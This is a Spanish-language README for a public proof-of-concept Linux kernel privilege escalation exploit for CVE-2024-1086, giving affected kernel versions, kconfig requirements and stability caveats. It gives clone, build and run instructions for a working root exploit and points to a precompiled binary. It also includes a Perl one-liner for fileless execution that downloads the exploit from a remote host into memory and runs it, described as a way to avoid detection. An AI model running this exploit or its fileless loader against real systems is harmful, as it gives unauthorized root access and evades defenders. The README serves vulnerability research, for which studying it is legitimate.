CVE-2024-1086

Exploit de prueba de concepto universal para escalada local de privilegios para CVE-2024-1086, que funciona en la mayoría de los kernels de Linux entre v5.14 y v6.6, incluyendo Debian, Ubuntu y KernelCTF. La tasa de éxito es del 99.4% en las imágenes de KernelCTF.

https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de

Entrada de blog / Análisis técnico

Puede encontrar un análisis completo del exploit, incluyendo información de fondo y un montón de diagramas útiles, en la entrada de blog Flipping Pages.

Versiones afectadas

El exploit afecta a las versiones desde v5.14 (incluida) hasta v6.6 (incluida), excluyendo las ramas parcheadas v5.15.149>, v6.1.76>, v6.6.15>. El parche para estas versiones se publicó en febrero de 2024. La vulnerabilidad subyacente afecta a todas las versiones (excluyendo las ramas estables parcheadas) desde v3.15 hasta v6.8-rc1.

Advertencias:

• El exploit no funciona en kernels v6.4> con kconfig CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (incluyendo Ubuntu v6.5)
• El exploit requiere namespaces de usuario (kconfig CONFIG_USER_NS=y), que esos namespaces de usuario no tengan privilegios (comando sh sysctl kernel.unprivileged_userns_clone = 1), y que nf_tables esté habilitado (kconfig CONFIG_NF_TABLES=y). De forma predeterminada, todo esto está habilitado en Debian, Ubuntu y KernelCTF. No se han probado otras distribuciones, pero también podrían funcionar. Además, el exploit solo se ha probado en x64/amd64.
• El exploit puede ser muy inestable en sistemas con mucha actividad de red
  • Los sistemas con adaptador WiFi, cuando están rodeados de redes WiFi de alto uso, serán muy inestables.
  • En los dispositivos de prueba, desactive los adaptadores WiFi a través de la BIOS.
• El kernel panic (bloqueo del sistema) después de ejecutar el exploit es un efecto secundario que deliberadamente no se ha corregido para prevenir el uso malicioso del exploit (es decir, los intentos de explotación ahora deberían ser más notorios e inviables en operaciones del mundo real). A pesar de ello, sigue permitiendo una prueba de concepto funcional en entornos de laboratorio, ya que el shell root es funcional y es posible la persistencia a través del disco.

Uso

Configuración

Los valores predeterminados deberían funcionar sin configuración adicional en Debian, Ubuntu y KernelCTF con un shell local. En configuraciones/distribuciones no probadas, asegúrese de que los valores de kconfig coincidan con el kernel objetivo. Estos se pueden especificar en src/config.h. Si está ejecutando el exploit en una máquina con más de 32 GiB de memoria física, asegúrese de aumentar CONFIG_PHYS_MEM. Si está ejecutando el exploit a través de SSH (hacia la máquina de prueba) o un shell reverso, puede querer cambiar CONFIG_REDIRECT_LOG a 1 para evitar actividad de red innecesaria.

Compilación

Si esto le resulta poco práctico, hay un binario x64 compilado con la configuración predeterminada.

git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make

Binario: CVE-2024-1086/exploit

Ejecución

Ejecutar el exploit es igual de sencillo:

./exploit

También se admite la ejecución sin archivos, en caso de situaciones de pentest donde sea necesario evitar detecciones. Sin embargo, Perl debe estar instalado en el objetivo:

perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  system "curl https://example.com/exploit -s >&$fd";
  exec {"/proc/$$/fd/$fd"} "memfd";
'

Aviso legal

Los programas y scripts («programas») en este directorio/carpeta/repositorio de software («repositorio») se publican, desarrollan y distribuyen únicamente con fines educativos/de investigación. Yo («el creador») no apruebo ningún uso malicioso o ilegal de los programas de este repositorio, ya que la intención es compartir investigación y no realizar actividades ilegales con ella. No soy legalmente responsable de cualquier cosa que hagas con los programas de este repositorio.